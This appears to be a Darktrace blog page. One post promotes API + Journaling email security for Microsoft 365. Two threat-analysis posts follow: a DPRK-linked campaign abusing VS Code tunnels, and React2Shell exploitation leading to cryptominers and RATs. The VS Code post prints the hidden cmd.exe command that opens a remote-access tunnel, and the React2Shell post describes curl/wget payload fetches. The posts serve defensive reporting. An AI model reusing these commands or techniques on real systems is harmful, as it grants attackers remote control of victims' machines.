Blog
/
Email
/
November 4, 2025

Why API + Journaling Delivers Faster, SLA-Backed Email Security for Microsoft 365

Discover how Darktrace’s API + Journaling cuts email threat detection latency by up to 30x vs API-only, boosting speed, reliability, and resilience for Microsoft 365.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Carlos Gray
Senior Product Marketing Manager, Email
Woman typing at laptopDefault blog imageDefault blog imageDefault blog imageDefault blog imageDefault blog imageDefault blog image
04
Nov 2025

Darktrace / EMAIL offers flexible deployment options, seamlessly integrating with Microsoft 365 and other native providers to protect against advanced threats across email and collaboration channels. Gartner analysts recommend API-based integrations for modern email security and customers consistently rate these approaches highly on Gartner Peer Insights.

But not all API integrations are equal. This blog explores an option uniquely offered by Darktrace: API + Journaling, and why it matters for speed, reliability, and resilience.

API + Journaling: What it is and why it’s different

Most Integrated Cloud Email Security (ICES) solutions rely on API-only ingestion, which:

  • Subscribes to Microsoft Graph change notifications
  • Fetches and analyzes messages after delivery
  • Quarantines or retracts malicious messages post-inbox

This works, but introduces notification latency. Microsoft Graph aims for near-real-time delivery, but practical delays can range from seconds to minutes, especially under load or retry conditions. Even a one-second delay matters when email is your most critical communication channel.

API + Journaling solves this.

By adding journaling in Microsoft 365, Darktrace receives a copy of the raw email while it’s still in the transport pipeline – before it hits the inbox. That means:

  • Analysis runs in parallel with Microsoft’s native defenses
  • Detection decisions happen pre-delivery, not after
  • Latency is dramatically reduced, and long-tail delays are eliminated

A modern, security-relevant approach

While journaling was originally introduced in Microsoft Exchange for compliance and archiving, it has evolved into a mature, well-documented feature that is widely used for both compliance and security monitoring. Microsoft’s own documentation recognizes journaling as a supported, secure, and configurable mechanism for message capture. In modern ICES deployments, journaling is leveraged not just for archiving, but for real-time, pre-delivery analysis, enabling faster detection and response to threats.

What I appreciate most is the simplicity of setting it up and configuring it."

Latency advantage: Measured in real environments

Our measurements across real customer deployments confirm the performance gap between API-only and API + Journaling deployments when evaluating the time taken to receive a single email:

Metric API-only API + Journaling Improvement
Median 1.31 s 0.53 s ~2.5×
Mean (trimmed) 1.98 s 0.57 s ~3.5×
Mean (raw) 21.88 s 0.75 s ~30×

The bottom line?

API + Journaling consistently cuts detection latency by 2–3x in typical scenarios and mitigates long-tail delays by up to ~30x – a critical advantage when every second counts. That could be the difference between actioning an email before a user sees it within their inbox or after, avoiding user confusion and erroneous email notifications that disappear by the time they go into Outlook.

Their Proof of Life, learning your environment and user behaviour and the things it has automatically noted were amazing. There has not been a single case of phishing in our organization since its deployment."

And speed isn’t the only benefit

API + Journaling doesn’t only benefit email users in terms of delivery speed. It also offers:

  • Robustness backed by SLAs: Journaling leverages Microsoft 365’s Exchange Online transport pipeline, which operates under Microsoft’s financially backed 99.9% availability SLA. API notifications, by contrast, are best-effort and carry no latency guarantee
  • Resilience against API throttling: Journaling avoids variability from Graph webhook delivery and retries
  • Defense in depth: Parallel analysis with native security reduces exposure windows and strengthens posture

Flexible deployment, clear recommendation

Darktrace / EMAIL supports multiple integration patterns, including API-only for environments where journaling isn’t feasible. API-only deployments remain a flexible option for organizations with specific requirements or constraints. However, for those prioritizing speed, reliability, and SLA-backed assurance, API + Journaling is our recommended approach.

All integration styles have trade-offs, and the right choice depends on your organization’s needs and constraints. Darktrace’s integration with Microsoft 365 is fully supported and aligns with Microsoft’s best practices for ICES vendors. Our approach delivers both operational efficiency and enhanced detection, as validated by customer results and independent analyst recognition. We recommend API + journaling for organizations seeking the best balance of speed, clarity, and resilience.

Ready to accelerate your email threat detection? Contact us to get a demo and we’ll walk you through our deployment options.

Journaling Myths & Facts: FAQ

Q: Is journaling slow, outdated, or risky compared to API-only approaches?
A: No. Journaling is a mature, well-documented Microsoft feature, widely used for compliance and security monitoring. When implemented with proper controls, journaling is secure and compliant. Data is isolated, access-controlled, and never shared across customers. Importantly, journaling does not “move” the original email out of Microsoft 365; it simply creates a copy for analysis, leaving the original message flow intact. Pre-delivery journaling enables parallel analysis with native security, reducing risk, not increasing it.

Q: Is it true that Microsoft does not recommend using Journaling and/or post-delivery actions?  
A: No, Microsoft clearly states that they do not recommend these methods for security benchmarking specifically. However, as a deployment method, it is a perfectly valid approach with more consistent delivery times than relying on APIs exclusively.  

Q: Does API + Journaling create fragmented visibility or complicate investigations?
A: Other solutions may create duplicated visibility but Darktrace’s deployment ensures message IDs are preserved, maintaining operational clarity and traceability for SOC teams. Our integration is designed to avoid message duplication and supports unified investigation workflows. API + journaling is unique in providing both speed and clarity, with proven customer outcomes such as reducing malicious messages to zero in large enterprise environments.

Q: Is journaling secure and compliant?
A: Yes. Journaling data is isolated, access-controlled, and never shared across customers. Microsoft provides clear guidance on secure journaling configurations and compliance best practices.

Q: Does journaling mean there is no internal or lateral email monitoring?
A: Darktrace can be configured to capture internal, external, or all messages, ensuring full visibility for compliance and threat detection.

Q: What if my organization can’t use journaling?
A: Darktrace / EMAIL still supports API-only deployments, providing flexibility for organizations with unique requirements.

References

Microsoft Online Services SLA (Exchange Online)

Configure Journaling in Exchange Online

Journaling in Exchange Online

Microsoft Graph API Change Notifications

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Carlos Gray
Senior Product Marketing Manager, Email

More in this series

No items found.

Blog

/

Network

/

January 27, 2026

Darktrace Identifies Campaign Targeting South Korea Leveraging VS Code for Remote Access

campaign targeting south orea leveraging vs code for remote accessDefault blog imageDefault blog image

Introduction

Darktrace analysts recently identified a campaign aligned with Democratic People’s Republic of Korea (DPRK) activity that targets users in South Korea, leveraging Javascript Encoded (JSE) scripts and government-themed decoy documents to deploy a Visual Studio Code (VS Code) tunnel to establish remote access.

Technical analysis

Decoy document with title “Documents related to selection of students for the domestic graduate school master's night program in the first half of 2026”.
Figure 1: Decoy document with title “Documents related to selection of students for the domestic graduate school master's night program in the first half of 2026”.

The sample observed in this campaign is a JSE file disguised as a Hangul Word Processor (HWPX) document, likely sent to targets via a spear-phishing email. The JSE file contains multiple Base64-encoded blobs and is executed by Windows Script Host. The HWPX file is titled “Documents related to selection of students for the domestic graduate school master's night program in the first half of 2026 (1)” in C:\ProgramData and is opened as a decoy. The Hangul documents impersonate the Ministry of Personnel Management, a South Korean government agency responsible for managing the civil service. Based on the metadata within the documents, the threat actors appear to have taken the documents from the government’s website and edited them to appear legitimate.

Base64 encoded blob.
Figure 2: Base64 encoded blob.

The script then downloads the VSCode CLI ZIP archives from Microsoft into C:\ProgramData, along with code.exe (the legitimate VS Code executable) and a file named out.txt.

In a hidden window, the command cmd.exe /c echo | "C:\ProgramData\code.exe" tunnel --name bizeugene > "C:\ProgramData\out.txt" 2>&1 is run, establishinga VS Code tunnel named “bizeugene”.

VSCode Tunnel setup.
Figure 3: VSCode Tunnel setup.

VS Code tunnels allows users connect to a remote computer and use Visual Studio Code. The remote computer runs a VS Code server that creates an encrypted connection to Microsoft’s tunnel service. A user can then connect to that machine from another device using the VS Code application or a web browser after signing in with GitHub or Microsoft. Abuse of VS Code tunnels was first identified in 2023 and has since been used by Chinese Advance Persistent Threat (APT) groups targeting digital infrastructure and government entities in Southeast Asia [1].

 Contents of out.txt.
Figure 4: Contents of out.txt.

The file “out.txt” contains VS Code Server logs along with a generated GitHub device code. Once the threat actor authorizes the tunnel from their GitHub account, the compromised system is connected via VS Code. This allows the threat actor to have interactive access over the system, with access to the VS Code’s terminal and file browser, enabling them to retrieve payloads and exfiltrate data.

GitHub screenshot after connection is authorized.
Figure 5: GitHub screenshot after connection is authorized.

This code, along with the tunnel token “bizeugene”, is sent in a POST request to hxxps://www[.]yespp[.]co[.]kr/common/include/code/out[.]php, a legitimate South Korean site that has been compromised is now used as a command-and-control (C2) server.

Conclusion

The use of Hancom document formats, DPRK government impersonation, prolonged remote access, and the victim targeting observed in this campaign are consistent with operational patterns previously attributed to DPRK-aligned threat actors. While definitive attribution cannot be made based on this sample alone, the alignment with established DPRK tactics, techniques, and procedures (TTPs) increases confidence that this activity originates from a DPRK state-aligned threat actor.

This activity shows how threat actors can use legitimate software rather than custom malware to maintain access to compromised systems. By using VS Code tunnels, attackers are able to communicate through trusted Microsoft infrastructure instead of dedicated C2 servers. The use of widely trusted applications makes detection more difficult, particularly in environments where developer tools are commonly installed. Traditional security controls that focus on blocking known malware may not identify this type of activity, as the tools themselves are not inherently malicious and are often signed by legitimate vendors.

Credit to Tara Gould (Malware Research Lead)
Edited by Ryan Traill (Analyst Content Lead)

Appendix

Indicators of Compromise (IoCs)

115.68.110.73 - compromised site IP

9fe43e08c8f446554340f972dac8a68c - 2026년 상반기 국내대학원 석사야간과정 위탁교육생 선발관련 서류 (1).hwpx.jse

MITRE ATTACK

T1566.001 - Phishing: Attachment

T1059 - Command and Scripting Interpreter

T1204.002 - User Execution

T1027 - Obfuscated Files and Information

T1218 - Signed Binary Proxy Execution

T1105 - Ingress Tool Transfer

T1090 - Proxy

T1041 - Exfiltration Over C2 Channel

References

[1]  https://unit42.paloaltonetworks.com/stately-taurus-abuses-vscode-southeast-asian-espionage/

Continue reading
About the author

Blog

/

Cloud

/

January 19, 2026

React2Shell Reflections: Cloud Insights, Finance Sector Impacts, and How Threat Actors Moved So Quickly

React2Shell Default blog imageDefault blog image

Introduction

Last month’s disclosure of CVE 2025-55812, known as React2Shell, provided a reminder of how quickly modern threat actors can operationalize newly disclosed vulnerabilities, particularly in cloud-hosted environments.

The vulnerability was discovered on December 3, 2025, with a patch made available on the same day. Within 30 hours of the patch, a publicly available proof-of-concept emerged that could be used to exploit any vulnerable server. This short timeline meant many systems remained unpatched when attackers began actively exploiting the vulnerability.  

Darktrace researchers rapidly deployed a new honeypot to monitor exploitation of CVE 2025-55812 in the wild.

Within two minutes of deployment, Darktrace observed opportunistic attackers exploiting this unauthenticated remote code execution flaw in React Server Components, leveraging a single crafted request to gain control of exposed Next.js servers. Exploitation quickly progressed from reconnaissance to scripted payload delivery, HTTP beaconing, and cryptomining, underscoring how automation and pre‑positioned infrastructure by threat actors now compress the window between disclosure and active exploitation to mere hours.

For cloud‑native organizations, particularly those in the financial sector, where Darktrace observed the greatest impact, React2Shell highlights the growing disconnect between patch availability and attacker timelines, increasing the likelihood that even short delays in remediation can result in real‑world compromise.

Cloud insights

In contrast to traditional enterprise networks built around layered controls, cloud architectures are often intentionally internet-accessible by default. When vulnerabilities emerge in common application frameworks such as React and Next.js, attackers face minimal friction.  No phishing campaign, no credential theft, and no lateral movement are required; only an exposed service and exploitable condition.

The activity Darktrace observed during the React2shell intrusions reflects techniques that are familiar yet highly effective in cloud-based attacks. Attackers quickly pivot from an exposed internet-facing application to abusing the underlying cloud infrastructure, using automated exploitation to deploy secondary payloads at scale and ultimately act on their objectives, whether monetizing access through cryptomining or to burying themselves deeper in the environment for sustained persistence.

Cloud Case Study

In one incident, opportunistic attackers rapidly exploited an internet-facing Azure virtual machine (VM) running a Next.js application, abusing the React/next.js vulnerability to gain remote command execution within hours of the service becoming exposed. The compromise resulted in the staged deployment of a Go-based remote access trojan (RAT), followed by a series of cryptomining payloads such as XMrig.

Initial Access

Initial access appears to have originated from abused virtual private network (VPN) infrastructure, with the source IP (146.70.192[.]180) later identified as being associated with Surfshark

The IP address above is associated with VPN abuse leveraged for initial exploitation via Surfshark infrastructure.
Figure 1: The IP address above is associated with VPN abuse leveraged for initial exploitation via Surfshark infrastructure.

The use of commercial VPN exit nodes reflects a wider trend of opportunistic attackers leveraging low‑cost infrastructure to gain rapid, anonymous access.

Parent process telemetry later confirmed execution originated from the Next.js server, strongly indicating application-layer compromise rather than SSH brute force, misused credentials, or management-plane abuse.

Payload execution

Shortly after successful exploitation, Darktrace identified a suspicious file and subsequent execution. One of the first payloads retrieved was a binary masquerading as “vim”, a naming convention commonly used to evade casual inspection in Linux environments. This directly ties the payload execution to the compromised Next.js application process, reinforcing the hypothesis of exploit-driven access.

Command-and-Control (C2)

Network flow logs revealed outbound connections back to the same external IP involved in the inbound activity. From a defensive perspective, this pattern is significant as web servers typically receive inbound requests, and any persistent outbound callbacks — especially to the same IP — indicate likely post-exploitation control. In this case, a C2 detection model alert was raised approximately 90 minutes after the first indicators, reflecting the time required for sufficient behavioral evidence to confirm beaconing rather than benign application traffic.

Cryptominers deployment and re-exploitation

Following successful command execution within the compromised Next.js workload, the attackers rapidly transitioned to monetization by deploying cryptomining payloads. Microsoft Defender observed a shell command designed to fetch and execute a binary named “x” via either curl or wget, ensuring successful delivery regardless of which tooling was availability on the Azure VM.

The binary was written to /home/wasiluser/dashboard/x and subsequently executed, with open-source intelligence (OSINT) enrichment strongly suggesting it was a cryptominer consistent with XMRig‑style tooling. Later the same day, additional activity revealed the host downloading a static XMRig binary directly from GitHub and placing it in a hidden cache directory (/home/wasiluser/.cache/.sys/).

The use of trusted infrastructure and legitimate open‑source tooling indicates an opportunistic approach focused on reliability and speed. The repeated deployment of cryptominers strongly suggests re‑exploitation of the same vulnerable web application rather than reliance on traditional persistence mechanisms. This behavior is characteristic of cloud‑focused attacks, where publicly exposed workloads can be repeatedly compromised at scale more easily.

Financial sector spotlight

During the mass exploitation of React2Shell, Darktrace observed targeting by likely North Korean affiliated actors focused on financial organizations in the United Kingdom, Sweden, Spain, Portugal, Nigeria, Kenya, Qatar, and Chile.

The targeting of the financial sector is not unexpected, but the emergence of new Democratic People’s Republic of Korea (DPRK) tooling, including a Beavertail variant and EtherRat, a previously undocumented Linux implant, highlights the need for updated rules and signatures for organizations that rely on them.

EtherRAT uses Ethereum smart contracts for C2 resolution, polling every 500 milliseconds and employing five persistence mechanisms. It downloads its own Node.js runtime from nodejs[.]org and queries nine Ethereum RPC endpoints in parallel, selecting the majority response to determine its C2 URL. EtherRAT also overlaps with the Contagious Interview campaign, which has targeted blockchain developers since early 2025.

Read more finance‑sector insights in Darktrace’s white paper, The State of Cyber Security in the Finance Sector.

Threat actor behavior and speed

Darktrace’s honeypot was exploited just two minutes after coming online, demonstrating how automated scanning, pre-positioned infrastructure and staging, and C2 infrastructure traced back to “bulletproof” hosting reflects a mature, well‑resourced operational chain.

For financial organizations, particularly those operating cloud‑native platforms, digital asset services, or internet‑facing APIs, this activity demonstrates how rapidly geopolitical threat actors can weaponize newly disclosed vulnerabilities, turning short patching delays into strategic opportunities for long‑term access and financial gain. This underscores the need for a behavioral-anomaly-led security posture.

Credit to Nathaniel Jones (VP, Security & AI Strategy, Field CISO) and Mark Turner (Specialist Security Researcher)

Edited by Ryan Traill (Analyst Content Lead)

Appendices

Indicators of Compromise (IoCs)

146.70.192[.]180 – IP Address – Endpoint Associated with Surfshark

References

https://www.darktrace.com/resources/the-state-of-cybersecurity-in-the-finance-sector

Continue reading
About the author
Nathaniel Jones
VP, Security & AI Strategy, Field CISO
Your data. Our AI.
Elevate your network security with Darktrace AI